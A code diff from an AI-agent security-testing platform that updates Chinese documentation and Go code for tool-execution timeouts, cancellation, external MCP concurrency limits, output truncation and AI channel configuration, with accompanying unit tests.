| `agent.max_iterations` | 新 Agent 任务生效 | 已运行任务按启动时状态继续 |
|
||||||
| `security.tool_description_mode` | 工具重新暴露时生效 | 模型已有上下文不会回滚 |
|
| `security.tool_description_mode` | 工具重新暴露时生效 | 模型已有上下文不会回滚 |
|
||||||
| `hitl.tool_whitelist` | 新工具调用审批判断生效 | 已挂起审批不自动重判 |
|
| `hitl.tool_whitelist` | 新工具调用审批判断生效 | 已挂起审批不自动重判 |
|
||||||
@@ -228,7 +260,7 @@ project:
|
|||||||
几个字段有“留空复用”的关系:
|
几个字段有“留空复用”的关系:
|
||||||
|
|
||||||
- `vision.api_key/base_url/provider` 留空时复用 `openai`。
|
- `vision.api_key/base_url/provider` 留空时复用 `openai`。
|
||||||
- `hitl.audit_model` 留空时复用 `openai`。
|
- `hitl.audit_model` 留空时复用默认 AI 通道解析后的 `openai`。
|
||||||
- `knowledge.embedding.base_url/api_key` 留空时复用主模型或 embedding 默认配置。
|
- `knowledge.embedding.base_url/api_key` 留空时复用主模型或 embedding 默认配置。
|
||||||
- `knowledge.retrieval.rerank.base_url/api_key` 留空时复用 embedding/openai。
|
- `knowledge.retrieval.rerank.base_url/api_key` 留空时复用 embedding/openai。
|
||||||
- `database.knowledge_db_path` 留空时可以复用主会话数据库,但独立文件更利于备份。
|
- `database.knowledge_db_path` 留空时可以复用主会话数据库,但独立文件更利于备份。
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
- Python:部分 MCP 服务或工具脚本需要 Python 运行环境。
|
- Python:部分 MCP 服务或工具脚本需要 Python 运行环境。
|
||||||
- SQLite:默认使用文件型数据库,无需单独服务。
|
- SQLite:默认使用文件型数据库,无需单独服务。
|
||||||
- 安全工具:`tools/` 中的 YAML 只是工具定义,实际命令如 `nmap`、`sqlmap`、`nuclei` 仍需安装到系统 PATH。
|
- 安全工具:`tools/` 中的 YAML 只是工具定义,实际命令如 `nmap`、`sqlmap`、`nuclei` 仍需安装到系统 PATH。
|
||||||
- 模型服务:需要 OpenAI 兼容 API,或配置 `openai.provider: claude` 走 Claude 桥接。
|
- 模型服务:至少配置一个 `ai.channels` 通道;`provider: openai_compatible` 适用于 OpenAI 兼容 API,`provider: claude` 会走 Claude 桥接。
|
||||||
|
|
||||||
建议目录:
|
建议目录:
|
||||||
|
|
||||||
|
|||||||
@@ -23,12 +23,12 @@ hitl:
|
|||||||
provider: ""
|
provider: ""
|
||||||
base_url: ""
|
base_url: ""
|
||||||
api_key: ""
|
api_key: ""
|
||||||
model: "" # 可填小模型;留空复用 openai.model
|
model: "" # 可填小模型;留空复用默认 AI 通道的模型
|
||||||
retention_days: 90
|
retention_days: 90
|
||||||
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
||||||
```
|
```
|
||||||
|
|
||||||
`audit_model` 的字段可以只填一部分。空字段会自动继承主 `openai` 配置,因此常见做法是只填 `model`,让审计 Agent 使用更便宜的小模型。
|
`audit_model` 的字段可以只填一部分。空字段会自动继承默认 AI 通道解析后的模型配置,因此常见做法是只填 `model`,让审计 Agent 使用更便宜的小模型。
|
||||||
|
|
||||||
## 推荐审批策略
|
## 推荐审批策略
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,223 @@
|
|||||||
|
# 工具执行治理
|
||||||
|
|
||||||
|
[返回中文文档](README.md)
|
||||||
|
|
||||||
|
本文说明 CyberStrikeAI 对长时间工具、MCP 阻塞、大输出、取消和恢复上下文的治理策略。目标是让 Agent 保持标准工具语义,同时避免工具卡死、上下文爆炸、数据库膨胀或恢复时重新注入历史大输出。
|
||||||
|
|
||||||
|
## 设计目标
|
||||||
|
|
||||||
|
- **Agent 不被工具绑死**:工具调用可以很慢,但当前 runner 只等待有限时间。
|
||||||
|
- **长任务可继续观察**:超时返回 `execution_id`,后续可用 `wait_tool_execution` 多轮等待。
|
||||||
|
- **用户和 Agent 都能取消**:当前会话结束或用户停止任务时,会取消仍在运行的工具。
|
||||||
|
- **数据库与 Agent 视图一致**:DB 保存的是 Agent 实际拿到的兜底后结果,不再保存另一份原始大输出。
|
||||||
|
- **恢复不会撑爆上下文**:续跑使用 model-facing trace;历史异常大 tool trace 恢复时也会再次裁剪。
|
||||||
|
- **外部 MCP 有隔离保护**:按 server 限并发、按全局限并发,并对连续失败的 server 熔断。
|
||||||
|
|
||||||
|
## 执行模型
|
||||||
|
|
||||||
|
普通工具调用仍然对 Eino/Agent 表现为一次标准 tool call,但底层执行分为两段:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Agent 调用工具
|
||||||
|
-> ExecutionService 创建 execution
|
||||||
|
-> worker 执行真实 MCP/工具调用
|
||||||
|
-> Agent bounded wait
|
||||||
|
-> 完成:返回工具结果
|
||||||
|
-> 未完成:返回 execution_id,worker 继续后台运行
|
||||||
|
```
|
||||||
|
|
||||||
|
这解决了 MCP server、`exec`、`sqlmap`、`nmap`、`nuclei` 等长任务阻塞当前 runner 的问题。
|
||||||
|
|
||||||
|
## 工具状态语义
|
||||||
|
|
||||||
|
| 状态 | 含义 |
|
||||||
|
|---|---|
|
||||||
|
| `queued` | execution 已创建,等待 worker 或并发槽位 |
|
||||||
|
| `running` | worker 正在执行 |
|
||||||
|
| `background_running` | 前端展示状态,表示本轮 Agent 已停止等待,但后台仍在跑 |
|
||||||
|
| `completed` | 本次 tool call 本身已完成 |
|
||||||
|
| `failed` | 工具真实失败 |
|
||||||
|
| `cancelled` | 用户、Agent 或会话清理主动取消 |
|
||||||
|
| `hard_timeout` | 超过硬超时,被系统终止 |
|
||||||
|
| `orphaned` | 重启/异常后发现 DB 中仍是 running,但运行时已无对应 worker |
|
||||||
|
|
||||||
|
注意:`wait_tool_execution` 到达 `timeout_seconds` 时,如果目标 execution 仍在运行,**这次 wait 调用本身是完成的观察动作**,不是工具执行失败。返回体会说明目标仍为 `running`,前端不应显示为红色失败。
|
||||||
|
|
||||||
|
## 控制工具
|
||||||
|
|
||||||
|
| 工具 | 用途 |
|
||||||
|
|---|---|
|
||||||
|
| `get_tool_execution` | 读取 execution 当前状态 |
|
||||||
|
| `wait_tool_execution` | 等待指定 execution 一段时间 |
|
||||||
|
| `cancel_tool_execution` | 主动取消指定 execution |
|
||||||
|
|
||||||
|
`get_tool_execution` 与 `wait_tool_execution` 支持返回运行中输出预览:
|
||||||
|
|
||||||
|
- `include_partial_output`:是否返回 partial output,默认 `true`。
|
||||||
|
- `partial_output_max_bytes`:本次返回的尾部预览上限,默认 `4096`,最大 `65536`。
|
||||||
|
|
||||||
|
partial output 是“已产生输出的有界预览”,不等同于最终 `result`。最终 `result` 仍只在工具结束时写入 canonical execution 记录;不支持流式输出的工具不会返回 partial 字段。
|
||||||
|
|
||||||
|
典型流程:
|
||||||
|
|
||||||
|
```text
|
||||||
|
1. 调用 exec/sqlmap/nmap 等长任务
|
||||||
|
2. 超过 tool_wait_timeout_seconds 后拿到 execution_id
|
||||||
|
3. Agent 可继续推理、改用其他工具,或调用 wait_tool_execution
|
||||||
|
4. 仍未完成时可继续等待,或调用 cancel_tool_execution
|
||||||
|
```
|
||||||
|
|
||||||
|
`tool_wait_timeout_seconds` 适用于内部 MCP、外部 MCP,以及 Eino filesystem 的流式 `execute`。Eino 的 `ls/read_file/write_file/edit_file/glob/grep` 等非流式 filesystem 工具会写入 execution 监控记录,但不作为后台 worker 做软等待续跑。
|
||||||
|
|
||||||
|
## 取消和会话清理
|
||||||
|
|
||||||
|
- 用户点击“停止任务”时,会取消当前会话仍在运行的工具。
|
||||||
|
- 会话正常结束后,会批量取消当前会话仍 `running` 的工具。
|
||||||
|
- “中断并继续”类流程不会做会话级批量取消,以免误杀后续需要等待的 worker。
|
||||||
|
- 取消只针对当前 conversation 绑定的 execution,不会误杀其他会话的工具。
|
||||||
|
|
||||||
|
## 外部 MCP 隔离
|
||||||
|
|
||||||
|
外部 MCP 可能因为远端 server 卡住、断连或返回异常而拖慢 Agent。系统提供三层保护:
|
||||||
|
|
||||||
|
| 能力 | 配置 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| 单 server 并发限制 | `external_mcp_max_concurrent_per_server` | 同一个外部 MCP server 同时运行的工具数 |
|
||||||
|
| 全局并发限制 | `external_mcp_max_concurrent_total` | 所有外部 MCP 工具总并发 |
|
||||||
|
| 熔断 | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | 单 server 连续失败后短期快速失败,避免反复打坏 server |
|
||||||
|
|
||||||
|
推荐默认:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
agent:
|
||||||
|
external_mcp_max_concurrent_per_server: 2
|
||||||
|
external_mcp_max_concurrent_total: 16
|
||||||
|
external_mcp_circuit_failure_threshold: 3
|
||||||
|
external_mcp_circuit_cooldown_seconds: 60
|
||||||
|
```
|
||||||
|
|
||||||
|
## 输出兜底
|
||||||
|
|
||||||
|
系统使用 `multi_agent.eino_middleware.reduction_max_length_for_trunc` 作为统一工具结果上限。当前示例配置为 50000 bytes。
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
multi_agent:
|
||||||
|
eino_middleware:
|
||||||
|
reduction_enable: true
|
||||||
|
reduction_max_length_for_trunc: 50000
|
||||||
|
```
|
||||||
|
|
||||||
|
兜底覆盖:
|
||||||
|
|
||||||
|
| 渠道 | 行为 |
|
||||||
|
|---|---|
|
||||||
|
| Agent 实际拿到的工具结果 | 使用兜底后的 canonical result |
|
||||||
|
| DB/监控存储 | 保存同一份 canonical result |
|
||||||
|
| `get_tool_execution` / `wait_tool_execution` | 读取同一份 canonical result |
|
||||||
|
| Eino `execute` / filesystem 监控记录 | 完成记录前统一兜底 |
|
||||||
|
| 非流式 `exec` stdout/stderr | 源头 bounded buffer |
|
||||||
|
| 流式 `exec` stdout/stderr | 推送给前端的累计输出也受上限控制 |
|
||||||
|
| PTY 执行路径 | 同样受上限控制 |
|
||||||
|
| 前端详情弹窗 | 额外有 UI 展示截断保护 |
|
||||||
|
|
||||||
|
触发上限后,完整输出先写入本地 trunc 文件,Agent 侧只保留计入预算的 `<persisted-output>` 预览(含绝对路径)。因此阈值为 50000 时,上下文文本不会超过该上限。
|
||||||
|
|
||||||
|
示例:
|
||||||
|
|
||||||
|
```text
|
||||||
|
<persisted-output>
|
||||||
|
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
|
||||||
|
Use read_file with offset/limit to read parts of the file.
|
||||||
|
Preview (first …):
|
||||||
|
…
|
||||||
|
|
||||||
|
Preview (last …):
|
||||||
|
…
|
||||||
|
|
||||||
|
</persisted-output>
|
||||||
|
```
|
||||||
|
|
||||||
|
当前策略是「全文落盘 + 上下文预览」:超过 `reduction_max_length_for_trunc` 时,完整输出写入本地文件(默认 `tmp/reduction/conversations/<会话ID>/trunc/<execution_id>`),Agent/DB/监控拿到的是带绝对路径的 `<persisted-output>` 预览;可用 `read_file` 按 offset/limit 回读全文。
|
||||||
|
|
||||||
|
## DB 与恢复上下文
|
||||||
|
|
||||||
|
新执行结果的写入路径如下:
|
||||||
|
|
||||||
|
```text
|
||||||
|
工具完成
|
||||||
|
-> NormalizeToolResultForStorage
|
||||||
|
-> 写入内存 execution
|
||||||
|
-> 写入 DB
|
||||||
|
-> 返回给 Agent
|
||||||
|
```
|
||||||
|
|
||||||
|
因此正常情况下,DB 中保存的就是 Agent 拿到的结果。
|
||||||
|
|
||||||
|
续跑恢复时,系统使用 `LastAgentTraceInput` 中的 model-facing trace,也就是实际送入 ChatModel 的消息快照,而不是原始事件流累计。恢复入口还会对历史 tool 内容再次应用上限,防止以下情况撑爆上下文:
|
||||||
|
|
||||||
|
- 升级前 DB 已经存过原始大输出。
|
||||||
|
- 手工迁移或导入的数据绕过了当前写入路径。
|
||||||
|
- 配置从更大阈值改成 50000。
|
||||||
|
- 未来某条旁路写入漏掉 canonicalize。
|
||||||
|
|
||||||
|
## 关键配置建议
|
||||||
|
|
||||||
|
长任务场景推荐:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
agent:
|
||||||
|
max_iterations: 800
|
||||||
|
tool_timeout_minutes: 60
|
||||||
|
tool_wait_timeout_seconds: 30
|
||||||
|
external_mcp_max_concurrent_per_server: 2
|
||||||
|
external_mcp_max_concurrent_total: 16
|
||||||
|
external_mcp_circuit_failure_threshold: 3
|
||||||
|
external_mcp_circuit_cooldown_seconds: 60
|
||||||
|
shell_no_output_timeout_seconds: 1200
|
||||||
|
|
||||||
|
multi_agent:
|
||||||
|
eino_middleware:
|
||||||
|
reduction_enable: true
|
||||||
|
reduction_max_length_for_trunc: 50000
|
||||||
|
```
|
||||||
|
|
||||||
|
参数说明:
|
||||||
|
|
||||||
|
| 参数 | 建议 | 说明 |
|
||||||
|
|---|---:|---|
|
||||||
|
| `max_iterations` | `300-1000` | 太大等于放弃循环保护 |
|
||||||
|
| `tool_timeout_minutes` | `60` | 单次工具硬超时,适合 sqlmap 等长任务 |
|
||||||
|
| `tool_wait_timeout_seconds` | `30-60` | Agent 本轮等待上限,到时返回 `execution_id` |
|
||||||
|
| `shell_no_output_timeout_seconds` | `600-1200` | 连续无输出时终止,防止静默挂死 |
|
||||||
|
| `reduction_max_length_for_trunc` | `50000` | 工具结果统一上限 |
|
||||||
|
|
||||||
|
不建议把 `tool_wait_timeout_seconds` 设置得很大。长任务应由 worker 后台跑,Agent 通过 `execution_id` 继续观察,而不是一轮等待数分钟。
|
||||||
|
|
||||||
|
## 测试建议
|
||||||
|
|
||||||
|
可以用以下对话测试长任务语义:
|
||||||
|
|
||||||
|
```text
|
||||||
|
调用 exec 执行 sleep 120;如果超过 10 秒还没完成,不要一直等,告诉我 execution_id,然后调用 wait_tool_execution 等 5 秒;如果仍未完成,再调用 cancel_tool_execution,最后说明状态。
|
||||||
|
```
|
||||||
|
|
||||||
|
可以用以下命令测试大输出兜底:
|
||||||
|
|
||||||
|
```text
|
||||||
|
调用 exec 执行:python3 - <<'PY'
|
||||||
|
print("A" * 200000)
|
||||||
|
PY
|
||||||
|
然后展示工具结果长度和是否包含截断提示。
|
||||||
|
```
|
||||||
|
|
||||||
|
预期:
|
||||||
|
|
||||||
|
- 初始长任务会返回 `execution_id`,状态为 `running` 或前端展示 `background_running`。
|
||||||
|
- `wait_tool_execution` 等待到上限但目标未完成时,本次 wait 调用不应显示为执行失败。
|
||||||
|
- 大输出结果不会超过 `reduction_max_length_for_trunc`。
|
||||||
|
- DB、监控详情、Agent 继续推理看到的是同一份兜底结果。
|
||||||
|
|
||||||
|
## 当前边界
|
||||||
|
|
||||||
|
- 外部 MCP 的远端 server 内部如何采集输出不由 CyberStrikeAI 控制;CyberStrikeAI 会在结果进入本系统后统一兜底、限并发和熔断。
|
||||||
|
- 超长工具输出会在截断前写入本地 `tmp/reduction/.../trunc/<id>`(或 `reduction_root_dir`),bounded result 中包含可 `read_file` 的绝对路径。
|
||||||
@@ -44,17 +44,20 @@ HASH=$(htpasswd -nBC 10 '' | cut -d: -f2 | tr -d '\n') && sqlite3 data/conversat
|
|||||||
|
|
||||||
检查:
|
检查:
|
||||||
|
|
||||||
- `openai.base_url` 是否包含正确路径,如 `/v1`。
|
- 当前对话选择的 AI 通道是否存在;为空时会使用 `ai.default_channel`。
|
||||||
- `openai.api_key` 是否有效。
|
- `ai.channels.<id>.base_url` 是否包含正确路径,如 `/v1`。
|
||||||
- `openai.model` 是否存在。
|
- `ai.channels.<id>.api_key` 是否有效。
|
||||||
- 服务商是否支持当前 `reasoning` 字段。
|
- `ai.channels.<id>.model` 是否存在。
|
||||||
|
- 服务商是否支持当前通道的 `reasoning` 字段。
|
||||||
|
|
||||||
可在系统设置中使用模型测试。若网关报 400,先尝试:
|
可在系统设置中使用模型测试。若网关报 400,先尝试:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
openai:
|
ai:
|
||||||
reasoning:
|
channels:
|
||||||
mode: off
|
your-channel:
|
||||||
|
reasoning:
|
||||||
|
mode: off
|
||||||
```
|
```
|
||||||
|
|
||||||
## 流式输出中断
|
## 流式输出中断
|
||||||
|
|||||||
+74
-27
@@ -24,18 +24,17 @@ import (
|
|||||||
|
|
||||||
// Agent AI代理
|
// Agent AI代理
|
||||||
type Agent struct {
|
type Agent struct {
|
||||||
openAIClient *openai.Client
|
openAIClient *openai.Client
|
||||||
config *config.OpenAIConfig
|
config *config.OpenAIConfig
|
||||||
agentConfig *config.AgentConfig
|
agentConfig *config.AgentConfig
|
||||||
mcpServer *mcp.Server
|
mcpServer *mcp.Server
|
||||||
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
maxIterations int
|
maxIterations int
|
||||||
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
mu sync.RWMutex // 添加互斥锁以支持并发更新
|
||||||
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
||||||
currentConversationID string // 当前对话ID(用于自动传递给工具)
|
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
|
||||||
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
|
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
||||||
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type agentConversationIDKey struct{}
|
type agentConversationIDKey struct{}
|
||||||
@@ -526,12 +525,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
|
|||||||
// 如果是record_vulnerability工具,自动添加conversation_id
|
// 如果是record_vulnerability工具,自动添加conversation_id
|
||||||
if toolName == builtin.ToolRecordVulnerability {
|
if toolName == builtin.ToolRecordVulnerability {
|
||||||
conversationID := agentConversationIDFromContext(ctx)
|
conversationID := agentConversationIDFromContext(ctx)
|
||||||
if conversationID == "" {
|
|
||||||
a.mu.RLock()
|
|
||||||
conversationID = a.currentConversationID
|
|
||||||
a.mu.RUnlock()
|
|
||||||
}
|
|
||||||
|
|
||||||
if conversationID != "" {
|
if conversationID != "" {
|
||||||
args["conversation_id"] = conversationID
|
args["conversation_id"] = conversationID
|
||||||
a.logger.Debug("自动添加conversation_id到record_vulnerability工具",
|
a.logger.Debug("自动添加conversation_id到record_vulnerability工具",
|
||||||
@@ -769,16 +762,8 @@ func (a *Agent) ToolsForRole(roleTools []string) []Tool {
|
|||||||
|
|
||||||
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
|
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
|
||||||
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
|
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
|
||||||
a.mu.Lock()
|
|
||||||
prev := a.currentConversationID
|
|
||||||
a.currentConversationID = conversationID
|
|
||||||
a.mu.Unlock()
|
|
||||||
defer func() {
|
|
||||||
a.mu.Lock()
|
|
||||||
a.currentConversationID = prev
|
|
||||||
a.mu.Unlock()
|
|
||||||
}()
|
|
||||||
ctx = withAgentConversationID(ctx, conversationID)
|
ctx = withAgentConversationID(ctx, conversationID)
|
||||||
|
ctx = mcp.WithMCPConversationID(ctx, conversationID)
|
||||||
return a.executeToolViaMCP(ctx, toolName, args)
|
return a.executeToolViaMCP(ctx, toolName, args)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -798,6 +783,28 @@ func (a *Agent) FinishLocalToolExecution(ctx context.Context, executionID, toolN
|
|||||||
return a.mcpServer.FinishToolExecution(ctx, executionID, toolName, args, resultText, invokeErr)
|
return a.mcpServer.FinishToolExecution(ctx, executionID, toolName, args, resultText, invokeErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AppendLocalToolExecutionPartialOutput records a bounded live-output preview for a running local tool.
|
||||||
|
func (a *Agent) AppendLocalToolExecutionPartialOutput(executionID, chunk string) {
|
||||||
|
if a == nil || a.mcpServer == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
a.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) RegisterLocalToolExecutionCancel(executionID string, cancel context.CancelFunc) {
|
||||||
|
if a == nil || a.mcpServer == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
a.mcpServer.RegisterToolExecutionCancel(executionID, cancel)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) UnregisterLocalToolExecutionCancel(executionID string) {
|
||||||
|
if a == nil || a.mcpServer == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
a.mcpServer.UnregisterToolExecutionCancel(executionID)
|
||||||
|
}
|
||||||
|
|
||||||
// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库(与 CallTool 落库一致),返回 executionId。
|
// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库(与 CallTool 落库一致),返回 executionId。
|
||||||
// 用于 Eino filesystem execute 等场景,使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
|
// 用于 Eino filesystem execute 等场景,使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
|
||||||
func (a *Agent) RecordLocalToolExecution(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
func (a *Agent) RecordLocalToolExecution(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
||||||
@@ -837,6 +844,46 @@ func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CancelRunningMCPToolsForConversation cancels all currently running internal/external MCP executions
|
||||||
|
// owned by the conversation. It is used when a session ends or the user stops a task.
|
||||||
|
func (a *Agent) CancelRunningMCPToolsForConversation(conversationID, note string) int {
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
if a == nil || conversationID == "" {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
note = strings.TrimSpace(note)
|
||||||
|
seen := make(map[string]struct{})
|
||||||
|
cancelled := 0
|
||||||
|
cancelIfConversationMatches := func(execID string, get func(string) (*mcp.ToolExecution, bool), cancel func(string, string) bool) {
|
||||||
|
execID = strings.TrimSpace(execID)
|
||||||
|
if execID == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, ok := seen[execID]; ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[execID] = struct{}{}
|
||||||
|
exec, ok := get(execID)
|
||||||
|
if !ok || exec == nil || strings.TrimSpace(exec.ConversationID) != conversationID {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cancel(execID, note) {
|
||||||
|
cancelled++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if a.mcpServer != nil {
|
||||||
|
for execID := range a.mcpServer.ActiveRunningExecutionIDs() {
|
||||||
|
cancelIfConversationMatches(execID, a.mcpServer.GetExecution, a.mcpServer.CancelToolExecutionWithNote)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if a.externalMCPMgr != nil {
|
||||||
|
for execID := range a.externalMCPMgr.ActiveRunningExecutionIDs() {
|
||||||
|
cancelIfConversationMatches(execID, a.externalMCPMgr.GetExecution, a.externalMCPMgr.CancelToolExecutionWithNote)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return cancelled
|
||||||
|
}
|
||||||
|
|
||||||
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
|
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
|
||||||
func extractQuotedToolName(errMsg string) string {
|
func extractQuotedToolName(errMsg string) string {
|
||||||
start := strings.Index(errMsg, "\"")
|
start := strings.Index(errMsg, "\"")
|
||||||
|
|||||||
@@ -1,10 +1,15 @@
|
|||||||
package agent
|
package agent
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
@@ -65,3 +70,141 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
|||||||
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAgentCancelRunningMCPToolsForConversation(t *testing.T) {
|
||||||
|
ag := setupTestAgent(t)
|
||||||
|
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
|
||||||
|
ag.mcpServer.RegisterTool(mcp.Tool{Name: "block", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
<-ctx.Done()
|
||||||
|
return nil, ctx.Err()
|
||||||
|
})
|
||||||
|
|
||||||
|
ctx1 := mcp.WithMCPConversationID(context.Background(), "conv-1")
|
||||||
|
result1, execID1, err := ag.mcpServer.CallTool(ctx1, "block", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool conv-1: %v", err)
|
||||||
|
}
|
||||||
|
if result1 == nil || !result1.IsError || execID1 == "" {
|
||||||
|
t.Fatalf("expected bounded wait for conv-1, result=%#v id=%q", result1, execID1)
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx2 := mcp.WithMCPConversationID(context.Background(), "conv-2")
|
||||||
|
result2, execID2, err := ag.mcpServer.CallTool(ctx2, "block", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool conv-2: %v", err)
|
||||||
|
}
|
||||||
|
if result2 == nil || !result2.IsError || execID2 == "" {
|
||||||
|
t.Fatalf("expected bounded wait for conv-2, result=%#v id=%q", result2, execID2)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := ag.CancelRunningMCPToolsForConversation("conv-1", "session ended"); got != 1 {
|
||||||
|
t.Fatalf("cancelled count = %d, want 1", got)
|
||||||
|
}
|
||||||
|
deadline := time.Now().Add(time.Second)
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
exec1, _ := ag.mcpServer.GetExecution(execID1)
|
||||||
|
exec2, _ := ag.mcpServer.GetExecution(execID2)
|
||||||
|
if exec1 != nil && exec1.Status == mcp.ToolExecutionStatusCancelled {
|
||||||
|
if exec2 == nil || exec2.Status != mcp.ToolExecutionStatusRunning {
|
||||||
|
t.Fatalf("conv-2 execution should remain running, got %#v", exec2)
|
||||||
|
}
|
||||||
|
if !strings.Contains(exec1.Error, "session ended") && (exec1.Result == nil || !strings.Contains(mcp.ToolResultPlainText(exec1.Result), "session ended")) {
|
||||||
|
t.Fatalf("cancel note missing from conv-1 execution: %#v", exec1)
|
||||||
|
}
|
||||||
|
_ = ag.CancelRunningMCPToolsForConversation("conv-2", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
time.Sleep(10 * time.Millisecond)
|
||||||
|
}
|
||||||
|
t.Fatal("conv-1 execution did not become cancelled")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecuteMCPToolForConversationInjectsConversationID(t *testing.T) {
|
||||||
|
ag := setupTestAgent(t)
|
||||||
|
gotArgs := make(chan map[string]interface{}, 1)
|
||||||
|
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
gotArgs <- args
|
||||||
|
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-record", builtin.ToolRecordVulnerability, map[string]interface{}{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
|
||||||
|
}
|
||||||
|
if result == nil || result.IsError {
|
||||||
|
t.Fatalf("expected successful result, got %#v", result)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case args := <-gotArgs:
|
||||||
|
if got := args["conversation_id"]; got != "conv-record" {
|
||||||
|
t.Fatalf("conversation_id = %#v, want conv-record", got)
|
||||||
|
}
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("tool was not called")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecuteMCPToolForConversationBindsExecutionConversation(t *testing.T) {
|
||||||
|
ag := setupTestAgent(t)
|
||||||
|
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
|
||||||
|
release := make(chan struct{})
|
||||||
|
ag.mcpServer.RegisterTool(mcp.Tool{Name: "slow-bind", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
select {
|
||||||
|
case <-release:
|
||||||
|
